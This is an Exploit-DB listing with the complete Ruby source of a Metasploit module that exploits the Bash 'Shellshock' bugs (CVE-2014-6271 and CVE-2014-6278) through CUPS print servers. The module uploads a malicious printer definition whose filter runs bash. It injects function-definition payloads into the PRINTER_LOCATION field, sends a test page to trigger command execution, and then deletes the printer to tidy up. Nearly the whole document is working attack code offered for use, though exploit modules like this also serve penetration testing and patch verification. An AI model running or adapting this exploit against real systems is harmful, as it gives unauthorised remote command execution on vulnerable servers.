CUPS Filter – Bash Environment Variable Code Injection (Metasploit)

  • 作者: Metasploit
    日期: 2014-10-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35115/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit4 < Msf::Exploit::Remote
    Rank = GoodRanking
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'CUPS Filter Bash Environment Variable Code Injection',
    'Description' => %q{
    This module exploits a post-auth code injection in specially crafted
    environment variables in Bash, specifically targeting CUPS filters
    through the PRINTER_INFO and PRINTER_LOCATION variables by default.
    },
    'Author' => [
    'Stephane Chazelas', # Vulnerability discovery
    'lcamtuf', # CVE-2014-6278
    'Brendan Coles <bcoles[at]gmail.com>' # msf
    ],
    'References' => [
    ['CVE', '2014-6271'],
    ['CVE', '2014-6278'],
    ['EDB', '34765'],
    ['URL', 'https://access.redhat.com/articles/1200223'],
    ['URL', 'http://seclists.org/oss-sec/2014/q3/649']
    ],
    'Privileged' => false,
    'Arch' => ARCH_CMD,
    'Platform' => 'unix',
    'Payload' =>
    {
    'Space' => 1024,
    'BadChars' => "\x00\x0A\x0D",
    'DisableNops' => true
    },
    'Compat' =>
    {
    'PayloadType' => 'cmd',
    'RequiredCmd' => 'generic bash awk ruby'
    },
    # Tested:
    # - CUPS version 1.4.3 on Ubuntu 10.04 (x86)
    # - CUPS version 1.5.3 on Debian 7 (x64)
    # - CUPS version 1.6.2 on Fedora 19 (x64)
    # - CUPS version 1.7.2 on Ubuntu 14.04 (x64)
    'Targets' =>[[ 'Automatic Targeting', { 'auto' => true } ]],
    'DefaultTarget' => 0,
    'DisclosureDate' => 'Sep 24 2014',
    'License' => MSF_LICENSE
    ))
    register_options([
    Opt::RPORT(631),
    OptBool.new('SSL', [ true, 'Use SSL', true ]),
    OptString.new('USERNAME', [ true, 'CUPS username', 'root']),
    OptString.new('PASSWORD', [ true, 'CUPS user password', '']),
    OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]),
    OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ])
    ], self.class)
    end
    
    #
    # CVE-2014-6271
    #
    def cve_2014_6271(cmd)
    %{() { :;}; $(#{cmd}) & }
    end
    
    #
    # CVE-2014-6278
    #
    def cve_2014_6278(cmd)
    %{() { _; } >_[$($())] { echo -e "\r\n$(#{cmd})\r\n" ; }}
    end
    
    #
    # Check credentials
    #
    def check
    @cookie = rand_text_alphanumeric(16)
    printer_name = rand_text_alphanumeric(10 + rand(5))
    res = add_printer(printer_name, '')
    if !res
    vprint_error("#{peer} - No response from host")
    return Exploit::CheckCode::Unknown
    elsif res.headers['Server'] =~ /CUPS\/([\d\.]+)/
    vprint_status("#{peer} - Found CUPS version #{$1}")
    else
    print_status("#{peer} - Target is not a CUPS web server")
    return Exploit::CheckCode::Safe
    end
    if res.body =~ /Set Default Options for #{printer_name}/
    vprint_good("#{peer} - Added printer successfully")
    delete_printer(printer_name)
    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
    vprint_error("#{peer} - Authentication failed")
    elsif res.code == 426
    vprint_error("#{peer} - SSL required - set SSL true")
    end
    Exploit::CheckCode::Detected
    end
    
    #
    # Exploit
    #
    def exploit
    @cookie = rand_text_alphanumeric(16)
    printer_name = rand_text_alphanumeric(10 + rand(5))
    
    # Select target CVE
    case datastore['CVE']
    when 'CVE-2014-6278'
    cmd = cve_2014_6278(payload.raw)
    else
    cmd = cve_2014_6271(payload.raw)
    end
    
    # Add a printer containing the payload
    # with a CUPS filter pointing to /bin/bash
    res = add_printer(printer_name, cmd)
    if !res
    fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.")
    elsif res.body =~ /Set Default Options for #{printer_name}/
    print_good("#{peer} - Added printer successfully")
    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
    fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.")
    elsif res.code == 426
    fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.")
    else
    fail_with(Failure::Unknown, "#{peer} - Could not add printer.")
    end
    
    # Add a test page to the print queue.
    # The print job triggers execution of the bash filter
    # which executes the payload in the environment variables.
    res = print_test_page(printer_name)
    if !res
    fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.")
    elsif res.body =~ /Test page sent; job ID is/
    vprint_good("#{peer} - Added test page to printer queue")
    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
    fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.")
    elsif res.code == 426
    fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.")
    else
    fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.")
    end
    
    # Delete the printer
    res = delete_printer(printer_name)
    if !res
    fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.")
    elsif res.body =~ /has been deleted successfully/
    print_status("#{peer} - Deleted printer '#{printer_name}' successfully")
    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
    vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.")
    elsif res.code == 426
    vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.")
    else
    vprint_warning("#{peer} - Could not delete printer '#{printer_name}'")
    end
    end
    
    #
    # Add a printer to CUPS
    #
    def add_printer(printer_name, cmd)
    vprint_status("#{peer} - Adding new printer '#{printer_name}'")
    
    ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd"
    ppd_file = <<-EOF
    *PPD-Adobe: "4.3"
    *%==== General Information Keywords ========================
    *FormatVersion: "4.3"
    *FileVersion: "1.00"
    *LanguageVersion: English
    *LanguageEncoding: ISOLatin1
    *PCFileName: "#{ppd_name}"
    *Manufacturer: "Brother"
    *Product: "(Brother MFC-3820CN)"
    *1284DeviceID: "MFG:Brother;MDL:MFC-3820CN"
    *cupsVersion: 1.1
    *cupsManualCopies: False
    *cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash"
    *cupsModelNumber: #{rand(10) + 1}
    *ModelName: "Brother MFC-3820CN"
    *ShortNickName: "Brother MFC-3820CN"
    *NickName: "Brother MFC-3820CN CUPS v1.1"
    *%
    *%==== Basic Device Capabilities =============
    *LanguageLevel: "3"
    *ColorDevice: True
    *DefaultColorSpace: RGB
    *FileSystem: False
    *Throughput: "12"
    *LandscapeOrientation: Plus90
    *VariablePaperSize: False
    *TTRasterizer: Type42
    *FreeVM: "1700000"
    
    *DefaultOutputOrder: Reverse
    *%==== Media Selection ======================
    
    *OpenUI *PageSize/Media Size: PickOne
    *OrderDependency: 18 AnySetup *PageSize
    *DefaultPageSize: BrLetter
    *PageSize BrA4/A4:"<</PageSize[595 842]/ImagingBBox null>>setpagedevice"
    *PageSize BrLetter/Letter:"<</PageSize[612 792]/ImagingBBox null>>setpagedevice"
    EOF
    
    pd = Rex::MIME::Message.new
    pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}"))
    pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid"))
    pd.add_part("add-printer", nil, nil, %(form-data; name="OP"))
    pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME"))
    pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable
    pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable
    pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI"))
    
    data = pd.to_s
    data.strip!
    
    send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'admin'),
    'ctype' => "multipart/form-data; boundary=#{pd.bound}",
    'data' => data,
    'cookie' => "org.cups.sid=#{@cookie};",
    'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
    )
    end
    
    #
    # Queue a printer test page
    #
    def print_test_page(printer_name)
    vprint_status("#{peer} - Adding test page to printer queue")
    send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'printers', printer_name),
    'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
    'cookie' => "org.cups.sid=#{@cookie}",
    'vars_post' => {
    'org.cups.sid' => @cookie,
    'OP' => 'print-test-page'
    }
    )
    end
    
    #
    # Delete a printer
    #
    def delete_printer(printer_name)
    vprint_status("#{peer} - Deleting printer '#{printer_name}'")
    send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'admin'),
    'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
    'cookie' => "org.cups.sid=#{@cookie}",
    'vars_post' => {
    'org.cups.sid' => @cookie,
    'OP' => 'delete-printer',
    'printer_name' => printer_name,
    'confirm' => 'Delete Printer'
    }
    )
    end
    
    end